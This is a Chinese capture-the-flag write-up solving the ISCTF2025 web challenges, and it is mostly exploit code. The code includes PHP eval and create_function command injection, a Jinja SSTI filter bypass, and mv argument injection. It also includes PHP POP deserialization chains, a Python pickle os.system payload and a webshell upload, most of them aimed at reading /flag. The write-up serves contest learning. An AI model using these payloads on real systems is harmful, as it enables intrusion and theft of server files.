ISCTF2025(web部分
ISCTF2025(web部分
b@by n0t1ce b0ard
看题目描述CVE-2024-12233,直接去https://www.cve.org/找

跟进
对着下面poc复现就行
ezrce
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}
只能是字母和这些符号,很容易想到无参rce
?code=eval(end(pos(get_defined_vars())));&a=system('cat /flag');
来签个到吧
下载出来的包名是unserialize,应该是反序列化
#index.php
<?php
require_once "./config.php";
require_once "./classes.php";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$s = $_POST["shark"] ?? '喵喵喵?';
if (str_starts_with($s, "blueshark:")) { //截取
$ss = substr($s, strlen("blueshark:"));
$o = @unserialize($ss);
$p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
$p->execute([$ss]);//存进数据库
echo "save sucess!";
exit(0);
} else {
echo "喵喵喵?";
exit(1);
}
}
$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>
看到这会接收 POST 参数 shark。如果参数以 blueshark: 开头,会截取后面的部分进行反序列化,然后写进数据库里面
#classes.php
<?php
class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}
public function fetch() {
$c = file_get_contents($this->url); //文件读取
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}
public function __destruct() {
$this->fetch();
}
}
?>
有个文件读取我们能利用
#api.php
<?php
require_once "./config.php";
require_once "./classes.php";
$id = $_GET["id"] ?? '喵喵喵?';
$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);
if (! $row) {
die("喵喵喵?");
}
$cfg = unserialize($row["content"]);
if ($cfg instanceof ShitMountant) {
$r = $cfg->fetch();
echo "ok!" . "<br>";
echo nl2br(htmlspecialchars($r));
}
else {
echo "喵喵喵?";
}
?>
我们输入id的特定参数会从数据库取出来反序列化echo nl2br(htmlspecialchars($r));这里会回显文件内容
那利用就比较清晰了,我们先构造一下
<?php
class ShitMountant {
public $url;
public $logger;
}
$a = new ShitMountant();
$a->url = "/flag";
$a->logger = null;
$b=serialize($a);
echo "blueshark:".$b;
访问/api.php?id=2
难过的bottle
懒得分析了直接丢ai

过滤了这些
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
我们构造{{__import__('os').popen('cat /flag').read()}}
函数名和变量名可以用全角字符绕过
def ascii_to_fullwidth(text):
result = []
for char in text:
code = ord(char)
if code == 0x20:
result.append('\u3000')
elif 0x21 <= code <= 0x7E:
result.append(chr(code + 0xFEE0))
else:
result.append(char)
return ''.join(result)
print(ascii_to_fullwidth("read"))
#import
#popen
#read
里面命令可以用进制绕过
{{ __import__('\157\163').popen('\143\141\164\040\057\146\154\141\147').read() }}
然后打包成zip文件上传
查看就行了
flag到底在哪
看题目描述
小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的
然后hint:小蓝鲨说账户必须是admin哦,不要在用户名上做尝试啦! 如果要使用逻辑运算符请使用大写
爬虫的话可以联想到robots.txt
逻辑运算符,猜到了是万能密码
然后上传一句话木马,flag在环境变量
flag?我就借走了
说了打包格式用tar,可以试试软链接
ln -s /flag flag
tar -cvf flag.tar flag
上传过去
点进去看就行了
Who am I
先创个账号登入,
多出一个type,我们改成0试试
访问这个路由,多了个配置文件,先看到了个waf
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
长度限制加符号禁用,基本上应该不是ssti了
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username] # 获取全局对象
try:
# 利用 pydash可以通过字符串来修改对象的深层属性
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
这里pydash.set_存在属性污染,app存在于 globals() 中,我们可以控制username=app,从而利用pydash.set_ 修改Flask 应用的内部render_template的配置,让其本来指向templates文件夹变成指向根目录
pydash.set_(obj, path, value)
obj->目标 path->目标路径 value->新值
render_template指向templates文件夹与jinja_loader.searchpath.0相同,然后我们来构造payload
GET /operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/
先污染属性,然后查看
GET /impression?point=flag
Bypass
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}
给了源码和dockerfile,是php:7.1.30-fpm-alpine
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
可以看到ban了挺多的,但是看到$a('', $b);并且为7.1版本的话可以使用create_function,然后参数的话没有ban数字可以用8进制绕过
<?php
class FLAG
{
private $a;
protected $b;
public function __construct()
{
$this->a = "create_function";
$this->b = '}"\163\171\163\164\145\155"("\143\141\164\40\57\146\154\141\147");//';
}
}
$obj = new FLAG();
$payload = serialize($obj);
echo urlencode($payload);
?>
//就等于function __lambda_func($args){ }"system"("cat /flag");// }
mv_upload
首先扫目录扫到index.php~,看源码
<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录
$blacklist = [
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"
];
$message = '';
$filesInTmp = [];
// 创建目标目录
if (!is_dir($targetDir)) {
mkdir($targetDir, 0755, true);
}
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
$uploadedFiles = $_FILES['files'];
foreach ($uploadedFiles['name'] as $index => $filename) {
if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
$message .= "文件 {$filename} 上传失败。<br>";
continue;
}
$tmpName = $uploadedFiles['tmp_name'][$index];
$filename = trim(basename($filename));
if ($filename === '') {
$message .= "文件名无效,跳过。<br>";
continue;
}
$fileParts = pathinfo($filename);
$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
$extension = trim($extension, '.');
if (in_array($extension, $blacklist)) {
$message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
continue;
}
$destination = $uploadDir . $filename;
if (move_uploaded_file($tmpName, $destination)) {
$message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
} else {
$message .= "文件 {$filename} 移动失败。<br>";
}
}
}
// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
$handle = opendir($uploadDir);
if ($handle) {
while (($file = readdir($handle)) !== false) {
if (is_file($uploadDir . $file)) {
$filesInTmp[] = $file;
}
}
closedir($handle);
}
}
// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
if (empty($filesInTmp)) {
$message .= "没有可移动的文件。<br>";
} else {
$output = [];
$returnCode = 0;
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
if ($returnCode === 0) {
foreach ($filesInTmp as $file) {
$message .= "已移动文件: {$file} 至$targetDir$file<br>";
}
} else {
$message .= "移动文件失败: " .implode(', ', $output)."<br>";
}
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>多文件上传服务</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 800px; margin: auto; }
.alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
.success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
ul { list-style-type: none; padding: 0; }
li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
</style>
</head>
<body>
<div class="container">
<h2>多文件上传服务</h2>
<?php if ($message): ?>
<div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
<?= $message ?>
</div>
<?php endif; ?>
<form method="POST" enctype="multipart/form-data">
<label for="files">选择文件:</label><br>
<input type="file" name="files[]" id="files" multiple required>
<button type="submit" name="upload">上传到临时目录</button>
</form>
<hr>
<h3>待确认上传文件</h3>
<?php if (empty($filesInTmp)): ?>
<p>暂无待确认上传文件</p>
<?php else: ?>
<ul>
<?php foreach ($filesInTmp as $file): ?>
<li><?= htmlspecialchars($file) ?></li>
<?php endforeach; ?>
</ul>
<form method="POST">
<button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button>
</form>
<?php endif; ?>
</div>
</body>
</html>
设置了一个非常严格的waf,试了php2,php3,phar依旧没用
$blacklist = [
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"
];
按照题目名字以及代码来看大概率是这块能利用
if (isset($_POST['confirm_move'])) {
if (empty($filesInTmp)) {
$message .= "没有可移动的文件。<br>";
} else {
$output = [];
$returnCode = 0;
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
if ($returnCode === 0) {
foreach ($filesInTmp as $file) {
$message .= "已移动文件: {$file} 至$targetDir$file<br>";
}
} else {
$message .= "移动文件失败: " .implode(', ', $output)."<br>";
}
}
}
我们能看到exec,有个mv命令
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
这里的命令就等于:
cd /tmp/upload ; mv * /var/www/html/upload
这里的 * 会被 Shell 扩展为当前目录下的所有文件名。
我们看看mv的参数
──(kali1㉿kali)-[~/桌面]
└─$ mv --help
用法:mv [选项]... [-T] 源 目标
或:mv [选项]... 源... 目录
或:mv [选项]... -t 目录 源...
将 <源> 重命名为 <目标>,或将 <源> 移动至 <目录>。
长选项的必选参数对于短选项也是必选的。
--backup[=控制] 为每个已存在的目标文件创建备份
-b 类似 --backup,但不接受任何参数
--debug 解释文件是如何复制的。隐含启用 -v
--exchange 交换源和目标
-f, --force 覆盖前不询问
-i, --interactive 覆盖前询问
-n, --no-clobber 不覆盖已存在的文件
如果您指定了 -i、-f、-n 中的多个,仅最后一个生效。
--no-copy 如果重命名失败,则不复制
--strip-trailing-slashes 去掉每个 <源> 尾部的斜杠
-S, --suffix=后缀 替换通常使用的备份文件后缀
-t, --target-directory=目录 将所有 <源> 参数移动到 <目录>
-T, --no-target-directory 将 <目标> 视为普通文件
--update[=更新] 控制更新哪些已存在的文件;
<更新>={all,none,none-fail,older(默认)}。
-u 等价于 --update[=older]。见下
-v, --verbose 显示详细步骤
-Z, --context 将目标文件的 SELinux 安全上下文设置为
默认类型
--help 显示此帮助信息并退出
--version 显示版本信息并退出
可以使用--backup(或者-b)和--suffix=php来修改文件后缀名,当目录下有一个重名的文件时,并且--backup存在,mv并不会覆盖旧的,又因为--suffix=php的存在,mv会决定把后缀添加进去
我们需要构造这样的命令
mv --backup --suffix=php Xendria. /var/www/html/upload
为了让其先内先有个文件来让它重名,我们可以先传个一句话木马,文件名为Xendria.,然后存储进去
然后依次传入三个文件名进入临时存储构造命令
一起移动到存储目录,然后去找flag就行
ezpop
<?php
error_reporting(0);
class begin {
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
function __destruct() {
echo $this->var1;
}
public function __toString() {
$newFunc = $this->var2;
return $newFunc();
}
}
class starlord {
public $var4;
public $var5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->var4;
return $function();
}
public function __get($arg1) {
$this->var5->ll2('b2');
}
}
class anna {
public $var6;
public $var7;
public function __toString() {
$long = @$this->var6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->var7->tt2) {
echo "yamada yamada";
}
}
}
class eenndd {
public $command;
public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);
}
}
}
class flaag {
public $var10;
public $var11="1145141919810";
public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;
}
}
}
if (isset($_POST['ISCTF'])) {
unserialize($_POST["ISCTF"]);
}else {
highlight_file(__FILE__);
}
一般链子我们感觉可以倒着找,
class eenndd {
public $command;
public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);
}
}
}
注意到这里有个eval和waf,很明显是终点,这里waf不是很严格,我们可以用base64来绕过,利用readfile来读/flag,
readfile(base64_decode('L2ZsYWc='));
看到__get方法,我们找找哪里会触发
class flaag {
public $var10;
public $var11="1145141919810";
public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey; //这里会触发get方法
}
}
}
这里有个弱比较,我们可以来个脚本找数字
<?php
for($i=0; $i<1000000; $i++){
if(md5(md5($i)) == 666){
$found_num = $i;
break;
}
}
echo $found_num; //为213
然后我们再找找哪里会触发__invoke,尝试将一个对象像函数一样调用时就会触发
class begin {
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
function __destruct() {
echo $this->var1;
}
public function __toString() {
$newFunc = $this->var2;
return $newFunc(); //看到这里
}
}
那我们过程已经理清楚了,直接构造
<?php
class begin {
public $var1;
public $var2;
}
class flaag {
public $var10;
public $var11;
}
class eenndd {
public $command;
}
$d = new eenndd();
$d->command = "readfile(base64_decode('L2ZsYWc='));";
$c = new flaag();
$c->var10 = $d;
$c->var11 = 213;
$b = new begin();
$b->var2 = $c;
$a = new begin();
$a->var1 = $b;
echo urlencode(serialize($a));
?>
双生序列
挺多文件的
#index.php
<?php
require_once "config.php";
require_once "classes.php";
$shark = "blueshark:";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$s = $_POST["s"] ?? "喵喵喵?";
if (str_starts_with($s, $shark)) {
$ss = substr($s, strlen($shark));
$p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
$p->execute([$ss]);
echo "save sucess";
exit(0);
}
else {
echo "喵喵喵?";
exit(1);
}
}
$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>宝宝你是一只猫猫</title>
<style>
body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; padding: 24px; }
textarea { width: 100%; max-width: 800px; height: 120px; font-family: monospace; }
.recent { margin-top: 20px; max-width: 900px; }
.note { background:#f7f7f8; padding:10px; border-radius:6px; margin-bottom:8px; font-family: monospace; white-space:pre-wrap; }
.meta { color:#666; font-size:90%; margin-bottom:6px; }
.btn { padding:8px 14px; border-radius:6px; border:1px solid #ccc; background:#fff; cursor:pointer; }
</style>
</head>
<body>
<h1>SharkHub</h1>
<form method="POST" style="max-width:900px; margin-bottom:18px;">
<p>你喜欢小蓝鲨吗?</p>
<br/>
<textarea id="s" name="s" placeholder=""></textarea><br/>
<br/>
<button class="btn" type="submit">commit</button>
</form>
<form method="GET" action="run.php" style="margin-bottom:18px;">
<input type="hidden" name="action" value="run">
<button class="btn" type="submit">喵喵喵</button>
</form>
<div class="recent">
<h2>Recent</h2>
<?php foreach ($rows as $r): ?>
<div class="note">
<div class="meta">#<?= htmlspecialchars($r['id'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></div>
<div><?= htmlspecialchars($r['content'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></div>
</div>
<?php endforeach; ?>
</div>
</body>
</html>
主要就是数据存储,用户输入的内容以"blueshark:"开头,则截取该字符串后的部分,并将其插入到数据库中的notes表内。
看看pytools.py
import os
import pickle
import json
import hmac
import hashlib
import time
import random
import time
import sys
import io
class RCE:
def __reduce__(self):
return (os.system, ("cat /etc/passwd",))
class Set:
def __init__(self):
self.secret = b""
self.payload = b""
def __setstate__(self, state):
self.secret = state.get("secret", b"")
self.payload = state.get("payload", b"")
class Unpickler(pickle.Unpickler):
allows = {
("__main__", "Set")
}
def find_class(self, module, name):
if (module, name) in self.allows:
return super().find_class(module, name)
raise pickle.UnpicklingError("喵喵喵?")
class ssxl:
def __init__(self):
self.ROOT = "/tmp/ssxl"
self.BIN = f"{self.ROOT}/write.bin"
self.META = f"{self.ROOT}/write.meta"
self.OUTS = f"{self.ROOT}/outs.txt"
self.SECRET = b""
self.jmp = True # 你能设置这个吗😋
def _set_secret(self, data):
bio = io.BytesIO(data)
obj = Unpickler(bio).load()
if not isinstance(obj, Set):
Games().gen_redirect()
return "喵喵喵?"
if isinstance(getattr(obj, "secret", b""), (bytes, bytearray)):
self.SECRET = obj.secret
return obj
def init(self):
r = 0
if not os.path.exists(self.ROOT):
print("==> no ROOT")
r = 1
if not os.path.exists(self.BIN):
print("==> no BIN")
r = 1
if not os.path.exists(self.META):
print("==> no META")
r = 1
return r == 0
def load_bin(self):
with open(self.BIN, "rb") as bf:
return bf.read()
def load_meta(self):
with open(self.META, "r", encoding="utf-8", errors="ignore") as jf:
return json.load(jf)
def sig_check(self, meta, data):
sig = meta.get("sig")
ts = meta.get("ts")
calc = hmac.new(self.SECRET, data, hashlib.sha256).hexdigest()
if not isinstance(sig, str) or not hmac.compare_digest(sig, calc):
print("==> sig check failed")
return False
if ts and (time.time() - float(ts) > 600):
print("==> ts check failed")
return False
return True
def read_out(self):
if not os.path.exists(self.OUTS):
raise FileNotFoundError(self.OUTS)
with open(self.OUTS, "r", encoding="utf-8", errors="ignore") as of:
content = of.read()
return content or "喵喵喵?"
def run(self):
assert self.init()
data = self.load_bin()
try:
obj = self._set_secret(data)
except Exception as e:
print("==> pickle load failed\n", e)
if self.jmp:
Games().gen_redirect()
return
meta = self.load_meta()
assert self.sig_check(meta, data)
print("==> obj => ", obj)
payload = getattr(obj, 'payload', None)
open(self.OUTS, "w").close()
if isinstance(payload, (bytes, bytearray)):
try:
inner = pickle.loads(payload)
except Exception as e:
print("==> inner pickle load failed\n", e)
if self.jmp:
Games().gen_redirect()
return
try:
out = self.read_out()
except Exception as e:
print("==> no outs =>\n", e)
if self.jmp:
Games().gen_redirect()
return
print("==> out => ", out)
class ret2game(Exception):
def __init__(self, url):
super().__init__()
self.url = url
def __str__(self):
r = 'Redirect to: ' + self.url
return r
def to_html(self):
template = f'''
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>喵喵喵……</title>
<script>
location.replace("{self.url}");
</script>
<style>
body{{font-family:system-ui;padding:24px}}
</style>
</head>
<body>
<p>恭喜你抽到:<a href="{self.url}">{self.url}</a></p>
</body>
</html>
'''
return template
class Games:
def __init__(self):
urls = {
"isctf": "https://isctf2025.bluesharkinfo.com/",
"blueshark": "https://www.bluesharkinfo.com/",
"yuanshen": "https://ys.mihoyo.com/main/",
"bengtie": "https://sr.mihoyo.com/main",
"sanguosha": "https://www.sanguosha.com/",
"huoying": "https://hyrz.qq.com/main.shtml",
"diwurenge": "https://id5.163.com/",
"mingchao": "https://mc.kurogames.com/main",
"wzry": "https://pvp.qq.com/",
"sanjiaozhou": "https://df.qq.com/main.shtml",
"wuweiqiyue": "https://val.qq.com/main.html",
"dota2": "https://www.dota2.com.cn/",
"lol": "https://lol.qq.com/main.shtml"
}
self.urls = list(urls.values())
self.weights = [5, 3] + [1] * (len(urls) - 2)
def gen_url(self):
url = random.choices(self.urls, weights=self.weights, k=1)[0]
return url
def gen_redirect(self):
url = self.gen_url()
raise ret2game(url)
try:
challenge = ssxl()
challenge.run()
except ret2game as e:
sys.stdout.write(e.to_html())
sys.stdout.flush()
先看到RCE这
class RCE:
def __reduce__(self):
return (os.system, ("cat /etc/passwd",))
在Python中,__reduce__是一个特殊方法,它用于对象的序列化。当你使用pickle模块来序列化一个对象时,pickle模块会调用对象的__reduce__方法,如果该方法存在的话。那我们反序列化时就能搁着控制命令。
def run(self):
assert self.init()
data = self.load_bin()
try:
obj = self._set_secret(data)
except Exception as e:
print("==> pickle load failed\n", e)
if self.jmp:
Games().gen_redirect()
return
meta = self.load_meta()
assert self.sig_check(meta, data)
print("==> obj => ", obj)
payload = getattr(obj, 'payload', None)
open(self.OUTS, "w").close()
if isinstance(payload, (bytes, bytearray)):
try:
inner = pickle.loads(payload) #当 pickle.loads 处理这段字节流时,为了还原对象,它会执行__reduce__ 里的代码。
except Exception as e:
print("==> inner pickle load failed\n", e)
if self.jmp:
Games().gen_redirect()
return
try:
out = self.read_out()
except Exception as e:
print("==> no outs =>\n", e)
if self.jmp:
Games().gen_redirect()
return
print("==> out => ", out)
这里有个逻辑错误,它是直接先执行了_set_secret,再检查的签名,我们跟进一下这个_set_secret
def _set_secret(self, data):
bio = io.BytesIO(data)
obj = Unpickler(bio).load()
if not isinstance(obj, Set):
Games().gen_redirect()
return "喵喵喵?"
if isinstance(getattr(obj, "secret", b""), (bytes, bytearray)):
self.SECRET = obj.secret
return obj
如果解包出来的对象有 secret 属性,就把self.SECRET覆盖掉,我们看到run.php
<?php
require_once "./config.php";
require_once "./classes.php";
$action = $_GET["action"] ?? "喵喵喵?";
if ($action !== "run") {
echo "喵喵喵?";
exit(1);
}
$binfile = "/tmp/ssxl/run.bin";
if (!file_exists($binfile)) {
echo "喵喵喵?";
exit(1);
}
$data = @file_get_contents($binfile);
if ($data === false) {
echo "喵喵喵?";
exit(1);
}
$allowed = ["Pytools"];
$exec = @unserialize($data, ["allowed_classes" => $allowed]);
if (!is_object($exec)) {
echo "喵喵喵?";
exit(1);
}
if (get_class($exec) !== "Pytools") {
echo "喵喵喵?";
exit(1);
}
if (method_exists($exec, "__call")) {
ob_start();
try {
$ret = $exec->blueshark(); //这里调用了一个不存在的方法,应该是触发__call
$out = ob_get_clean();
if ($out !== "") {
echo $out;
}
else if ($ret !== null) {
echo $ret;
}
else {
echo "喵喵喵?";
}
}
catch (Throwable $e) {
echo "喵喵喵?";
ob_end_clean();
}
exit(0);
}
?>
这里面有个反序列化入口@unserialize(\(data, ["allowed_classes" =>\)allowed]);,以及提到了run.bin,以及限制了只允许反序列化 Pytools 类
看到api.php
#api.php
<?php
require_once "config.php";
require_once "classes.php";
$cat = new Cat();
$id = $_GET["id"] ?? "喵喵喵?";
if (!is_numeric($id)) {
$cat->OwO();
exit(1);
}
$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);
if (!$row) {
$cat->OwO();
exit(1);
}
$allowed = ["Writer", "Shark", "Bridge"];
$o = @unserialize($row["content"], ["allowed_classes" => $allowed]);
if (!($o instanceof Bridge)) {
$cat->OwO();
exit(1);
}
$r = $o->fetch();
echo nl2br(htmlspecialchars($r));
?>
这也有个反序列化入口,允许["Writer", "Shark", "Bridge"];,就是从数据库拿东西出来反序列化
再看到classes.php
#classes.php
class Writer {
public $b64data = "";
private $binfile = "/tmp/ssxl/write.bin";
private $metafile = "/tmp/ssxl/write.meta";
private $secret = "kaqikaqi";
public $init = '喵喵喵?';
public function __construct($b64data="") {
$this->b64data = $b64data;
}
public function __wakeup() {
$this->{$this->init}();
}
private function init() {
$dir = dirname($this->binfile);
if (!is_dir($dir)) {
@mkdir($dir, 0700, true);
}
}
private function write_all() {
if ($this->b64data === "") {
return;
}
$raw = base64_decode($this->b64data);
if ($raw === false) {
return;
}
@file_put_contents($this->binfile, $raw); //写入文件
$sig = hash_hmac("sha256", $raw, $this->secret); //这里会使用$secret生成合法签名
$meta = json_encode([
"sig" => $sig,
"ts" => time(),
]);
@file_put_contents($this->metafile, $meta);
}
public function fetch() {
$this->write_all();
return "喵喵喵!";
}
}
在write类里面有特定的签名$secret = "kaqikaqi";,我们可以给上面python构造与php相同的签名,里面要求了用base64传输
然后我们再看看Shark类
#classes.php
class Shark {
public $ser = "";
public function __construct($s="") {
$this->ser = $s;
}
public function __toString() {
$this->apply();
return "喵喵喵!";
}
private function apply() {
if ($this->ser === "") {
return;
}
$file = "/tmp/ssxl/run.bin";
@file_put_contents($file, $this->ser);
}
public function fetch() {
return "喵喵喵!";
}
}
这里把数据写入了run.bin
再接着看到Bridge类
#classes.php
class Bridge {
public $writer;
public $shark;
public function __construct($w, $s) {
if (!($w instanceof Writer) || !($s instanceof Shark)) {
echo "喵喵喵?";
exit(1);
}
// 访问不存在的属性 $this->write
// 触发__get()
$this->writer = $w;
$this->shark = $s;
}
public function __get($name) {
if ($name === "write") {
if (!($this->writer instanceof Writer)){
return "喵喵喵?";
}
// 这里的 writer 是 Writer 对象
// 调用 Writer->fetch() -> write_all()
// 这一步生成了 write.bin和 write.meta
$this->writer->fetch();
return $this->shark;
}
}
public function __isset($name) {
if ($name === "write") {
return
($this->writer instanceof Writer) &&
($this->shark instanceof Shark);
}
return false;
}
public function __set($name, $value) {
if ($name === "write") {
$this->writer = $value;
}
else if ($name === "shark") {
$this->shark = $value;
}
}
public function __unset($name) {
if ($name === "write") {
$this->writer = null;
}
else if ($name === "shark") {
$this->shark = null;
}
}
public function fetch() {
$next = $this->write;
if ($next instanceof Shark) {
return $next;
}
return "喵喵喵!";
}
}
看看Pytools
// classes.php
class Pytools extends Cat {
// ...
//执行 Python 脚本
public function run() {
$cmd = "python3 /var/www/html/pytools.py";
$out = @shell_exec($cmd . " 2>&1");
// ...
return $out;
}
//当调用不存在的方法时触发
public function __call($name, $args) {
//run.php 调用 $exec->blueshark(),就会跳到这里
return $this->run();
}
}
整理一下
最后的利用是在python里面的RCE,签名校验我们可以用"kaqikaqi"
前一步的话是Writer和Shark来生成write.bin文件和run.bin文件以及添加签名"kaqikaqi"
最外面就是Bridge,利用Bridge为入口,将Writer和Shark串起来
构造payload
import pickle
import os
import base64
class Set:
def __init__(self, secret, payload):
self.secret = secret
self.payload = payload
class RCE:
def __reduce__(self):
cmd = "cat /flag > /tmp/ssxl/outs.txt"
return (os.system, (cmd,))
def generate():
inner_payload = pickle.dumps(RCE())
# secret设为"kaqikaqi",因为 PHP 的 Writer 类默认使用这个密钥签名
obj = Set(b"kaqikaqi", inner_payload)
# 在 Linux 下运行,这里生成的会是 posix.system
final_pickle = pickle.dumps(obj)
b64_pickle = base64.b64encode(final_pickle).decode()
# Pytools 对象:用于 run.php 触发 Python
s_pytools = 'O:7:"Pytools":0:{}'
# Shark 对象:负责把 Pytools 写入 run.bin
s_shark = f'O:5:"Shark":1:{{s:3:"ser";s:{len(s_pytools)}:"{s_pytools}";}}'
# Writer 对象:负责把我们的 pickle 写入 write.bin
# 注意:init 必须传 "init" 字符串,绕过 __wakeup 的逻辑,确保目录被创建
s_writer = f'O:6:"Writer":2:{{s:7:"b64data";s:{len(b64_pickle)}:"{b64_pickle}";s:4:"init";s:4:"init";}}'
# Bridge 对象:POP 链入口
s_bridge = f'O:6:"Bridge":2:{{s:6:"writer";{s_writer}s:5:"shark";{s_shark}}}'
# 加上index.php要求的前缀
final_payload = "blueshark:" + s_bridge
print(final_payload)
if __name__ == "__main__":
generate()
